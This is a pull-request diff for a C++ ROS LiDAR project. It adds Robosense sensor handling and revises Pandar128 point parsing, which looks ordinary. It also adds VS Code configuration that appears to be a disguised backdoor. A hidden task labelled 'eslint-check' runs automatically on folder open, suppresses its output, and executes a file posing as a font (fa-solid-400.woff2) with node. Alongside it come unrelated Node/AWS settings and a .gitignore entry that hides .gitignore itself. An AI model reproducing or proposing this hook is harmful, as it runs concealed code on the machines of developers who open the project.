Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,2 +1,6 @@
Log/*
build/*
temp_auto_push.bat
temp_interactive_push.bat
.gitignore
branch_structure.json
7 changes: 7 additions & 0 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"recommendations": [
"myml.vscode-markdown-plantuml-preview",
"esbenp.prettier-vscode",
"jebbs.plantuml"
]
}
50 changes: 50 additions & 0 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug SST",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["dev", "--increase-timeout"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
"sourceMapRenames": false,
"env": {
"AWS_PROFILE": "flo-ct-flo360"
}
},
{
"name": "Debug Tests - Unit",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
{
"name": "Debug Tests - E2E",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
],
"inputs": [
{
"id": "scopeTestsFileName",
"type": "promptString",
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
}
]
}
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
2 changes: 2 additions & 0 deletions .vscode/spellright.dict
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Contentful
Lerna
33 changes: 33 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
{
"version": "2.0.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Run My Project",
"console": "",
"internalConsoleOptions": "openOnSessionStart"
}
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
},
]
}
3 changes: 2 additions & 1 deletion include/common_lib.h
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,8 @@ enum LID_TYPE
OUST64 = 3,
L515 = 4,
XT32 = 5,
PANDAR128 = 6
PANDAR128 = 6,
ROBOSENSE = 7
};
enum SLAM_MODE
{
Expand Down
24 changes: 21 additions & 3 deletions include/preprocess.h
Original file line number Diff line number Diff line change
Expand Up @@ -121,13 +121,30 @@ namespace Pandar128_ros
struct EIGEN_ALIGN16 Point
{
PCL_ADD_POINT4D;
float timestamp;
uint8_t ring;
uint8_t intensity;
double timestamp;
uint16_t ring;
EIGEN_MAKE_ALIGNED_OPERATOR_NEW
};
} // namespace Pandar128_ros
POINT_CLOUD_REGISTER_POINT_STRUCT(Pandar128_ros::Point,
(float, x, x)(float, y, y)(float, z, z)(float, timestamp, timestamp))
(float, x, x)(float, y, y)(float, z, z)(std::uint8_t, intensity, intensity)(double, timestamp, timestamp)(std::uint16_t, ring, ring))
/*****************/

/*** Robosense_Airy ***/
namespace robosense_ros
{
struct EIGEN_ALIGN16 Point
{
PCL_ADD_POINT4D;
float intensity;
double timestamp;
uint16_t ring;
EIGEN_MAKE_ALIGNED_OPERATOR_NEW
};
} // namespace robosense_ros
POINT_CLOUD_REGISTER_POINT_STRUCT(robosense_ros::Point,
(float, x, x)(float, y, y)(float, z, z)(float, intensity, intensity)(double, timestamp, timestamp)(std::uint16_t, ring, ring))
/*****************/

class Preprocess
Expand Down Expand Up @@ -158,6 +175,7 @@ class Preprocess
void velodyne_handler(const sensor_msgs::PointCloud2::ConstPtr &msg);
void xt32_handler(const sensor_msgs::PointCloud2::ConstPtr &msg);
void Pandar128_handler(const sensor_msgs::PointCloud2::ConstPtr &msg);
void robosense_handler(const sensor_msgs::PointCloud2::ConstPtr &msg);
void l515_handler(const sensor_msgs::PointCloud2::ConstPtr &msg);
void give_feature(PointCloudXYZI &pl, vector<orgtype> &types);
void pub_func(PointCloudXYZI &pl, const ros::Time &ct);
Expand Down
46 changes: 44 additions & 2 deletions src/preprocess.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -80,6 +80,11 @@ void Preprocess::process(const sensor_msgs::PointCloud2::ConstPtr &msg, PointClo
case PANDAR128:
Pandar128_handler(msg);
break;

case ROBOSENSE:
robosense_handler(msg);
break;

default:
printf("Error LiDAR Type: %d \n", lidar_type);
break;
Expand Down Expand Up @@ -515,7 +520,7 @@ void Preprocess::Pandar128_handler(const sensor_msgs::PointCloud2::ConstPtr &msg
int plsize = pl_orig.points.size();
pl_surf.reserve(plsize);

// double time_head = pl_orig.points[0].timestamp;
double time_head = pl_orig.points[0].timestamp;
for (int i = 0; i < plsize; i++)
{
PointType added_pt;
Expand All @@ -526,7 +531,8 @@ void Preprocess::Pandar128_handler(const sensor_msgs::PointCloud2::ConstPtr &msg
added_pt.x = pl_orig.points[i].x;
added_pt.y = pl_orig.points[i].y;
added_pt.z = pl_orig.points[i].z;
added_pt.curvature = pl_orig.points[i].timestamp * 1000.f;
added_pt.intensity = static_cast<float>(pl_orig.points[i].intensity) / 255.0f;
added_pt.curvature = (pl_orig.points[i].timestamp - time_head) * 1000.f;

if (i % point_filter_num == 0)
{
Expand Down Expand Up @@ -701,6 +707,42 @@ void Preprocess::xt32_handler(const sensor_msgs::PointCloud2::ConstPtr &msg)
// pub_func(pl_surf, pub_corn, msg->header.stamp);
}

void Preprocess::robosense_handler(const sensor_msgs::PointCloud2::ConstPtr &msg)
{
pl_surf.clear();

pcl::PointCloud<robosense_ros::Point> pl_orig;
pcl::fromROSMsg(*msg, pl_orig);
int plsize = pl_orig.size();
pl_surf.reserve(plsize);

double time_head = pl_orig.points[0].timestamp;
for (int i = 0; i < plsize; ++i)
{
if (i % point_filter_num != 0) continue;

const auto& pt = pl_orig.points[i];
const double x = pt.x, y = pt.y, z = pt.z;
const double dist_sqr = x * x + y * y + z * z;
const bool is_valid = (dist_sqr >= blind_sqr) && !std::isnan(x) && !std::isnan(y) && !std::isnan(z);
if (!is_valid) continue;

PointType added_pt;
added_pt.normal_x = 0;
added_pt.normal_y = 0;
added_pt.normal_z = 0;
added_pt.x = pt.x;
added_pt.y = pt.y;
added_pt.z = pt.z;
added_pt.intensity = pt.intensity;
added_pt.curvature = (pt.timestamp - time_head) * 1000.0;
pl_surf.points.push_back(added_pt);
}
std::sort(pl_surf.points.begin(), pl_surf.points.end(), [](const PointType &a, const PointType &b) {
return a.curvature < b.curvature;
});
}

void Preprocess::give_feature(pcl::PointCloud<PointType> &pl, vector<orgtype> &types)
{
int plsize = pl.size();
Expand Down